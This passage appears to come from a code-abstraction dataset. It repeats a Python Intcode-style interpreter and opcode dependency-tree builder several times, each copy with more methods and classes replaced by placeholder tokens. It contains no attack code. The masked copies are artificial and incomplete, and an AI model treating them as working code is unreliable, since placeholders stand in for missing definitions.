OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n <function token>\n <function token>\n <function token>\n\n def writes(self):\n raise Exception('Call to base class writes()')\n\n def op(self):\n raise Exception('Call to base class op()')\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n <function token>\n <function token>\n <function token>\n <function token>\n\n def op(self):\n raise Exception('Call to base class op()')\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n\n def ptr_inc(self):\n return self.__ptr_inc\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n\n\nclass Opcode(object):\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n \"\"\"\n\t>>> o = Opcode1([101, 2, 1, 3], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[101, 2, 1, 4]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = i.params()\n if 'result' in params.keys():\n if params['result'] not in self.__writes_to.keys():\n self.__writes_to[params['result']] = []\n self.__writes_to[params['result']].append(i)\n if 'noun' in params.keys():\n if params['noun'] not in self.__reads_from.keys():\n self.__reads_from[params['noun']] = []\n self.__reads_from[params['noun']].append(i)\n if 'verb' in params.keys():\n if params['verb'] not in self.__reads_from.keys():\n self.__reads_from[params['verb']] = []\n self.__reads_from[params['verb']].append(i)\n\n def construct_graph(self):\n op = self.__interpreter.op_at(0)\n reads = [ValueNode(self.__interpreter.inspect(i), tag='raw%d_' % i) for\n i in op.reads()]\n writes = op.writes()\n base = OpNode(op, reads)\n ptr = op.ptr_inc()\n last_write = {}\n if writes:\n last_write[writes] = base\n while op.op() != 'HALT':\n op = self.__interpreter.op_at(ptr)\n if op.op() == 'HALT':\n break\n depends = []\n for i in op.reads():\n if i in last_write.keys():\n depends.append(last_write[i])\n else:\n depends.append(ValueNode(self.__interpreter.inspect(i)))\n base = OpNode(op, depends)\n if op.writes():\n last_write[op.writes()] = base\n ptr += op.ptr_inc()\n return base\n\n\n<code token>\n", "<function token>\n<class token>\n\n\nclass Opcode1(Opcode):\n <docstring token>\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 1, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first + self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '+'\n\n def __str__(self):\n return 'loc[%d] = %d + %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode2(Opcode):\n \"\"\"\n\t>>> o = Opcode2([2, 2, 3, 4, 99], 0)\n\t>>> o.run()\n\tTrue\n\t>>> o.memory\n\t[2, 2, 3, 4, 12]\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 2, 4)\n self.__first = self.get_val(1)\n self.__second = self.get_val(2)\n self.__res = mem[ptr + 3]\n\n def run(self):\n self.memory[self.__res] = self.__first * self.__second\n return True\n\n def params(self):\n return {'noun': self.__first, 'verb': self.__second, 'result': self\n .__res}\n\n def reads(self):\n return [self.__first, self.__second]\n\n def writes(self):\n return self.__res\n\n def op(self):\n return '*'\n\n def __str__(self):\n return 'loc[%d] = %d * %d' % (self.__res, self.__first, self.__second)\n\n\nclass Opcode99(Opcode):\n \"\"\"\n\t>>> o = Opcode99([99,12,3,4,5], 0)\n\t>>> o.run()\n\tFalse\n\t\"\"\"\n\n def __init__(self, mem, ptr):\n super().__init__(mem, ptr, 99, 1)\n\n def run(self):\n return False\n\n def params(self):\n return {}\n\n def reads(self):\n return []\n\n def writes(self):\n return None\n\n def op(self):\n return 'HALT'\n\n def __str__(self):\n return 'HALT'\n\n\n<function token>\n\n\nclass Interpreter(object):\n\n def __init__(self, input_code, ops=default_ops()):\n self.__memory = input_code\n self.__ops = ops\n self.__ptr = 0\n self.__running = True\n self.length = len(self.__memory)\n\n def stepi(self):\n o = None\n if self.__running:\n o = self.next_op()\n self.__running = o.run()\n chk, val = o.set_ptr()\n if chk:\n self.__ptr = val\n else:\n self.__ptr += o.ptr_inc()\n return o\n\n def run(self):\n while self.__running:\n self.stepi()\n\n def inspect(self, loc):\n return self.__memory[loc]\n\n def next_op(self):\n return self.op_at(self.__ptr)\n\n def op_at(self, ptr):\n return self.__ops[self.__memory[ptr] % 100](self.__memory, ptr)\n\n def __str__(self):\n strs = []\n for i, v in enumerate(self.__memory):\n if i == self.__ptr:\n strs.append('{:*>4}'.format(v))\n else:\n strs.append('{:>4}'.format(v))\n return ','.join(strs) + '\\n' + 'Next:\\n\\t' + str(self.next_op())\n\n def poke(self, loc, val):\n self.__memory[loc] = val\n\n def rebind(self, code, call):\n self.__ops[code] = call\n\n def as_opcodes(self):\n ops = [self.op_at(0)]\n ptr = ops[-1].ptr_inc()\n while ops[-1].op() != 'HALT':\n ops.append(self.op_at(ptr))\n ptr += ops[-1].ptr_inc()\n return ops\n\n\nclass ValueNode(object):\n\n def __init__(self, val, tag=''):\n self.__val = val\n self.__tag = tag\n\n def __str__(self):\n return self.__tag + str(self.__val)\n\n\nclass OpNode(object):\n\n def __init__(self, op, depends):\n self.__op = op\n self.__depends = depends\n\n def __str__(self):\n return '(' + self.__op.op().join([str(i) for i in self.__depends]\n ) + ')'\n\n\nclass OpcodeTreeBuilder(object):\n\n def __init__(self, interp):\n self.__interpreter = interp\n self.__codes = interp.as_opcodes()\n\n def construct_mappings(self):\n for i in self.__codes:\n params = 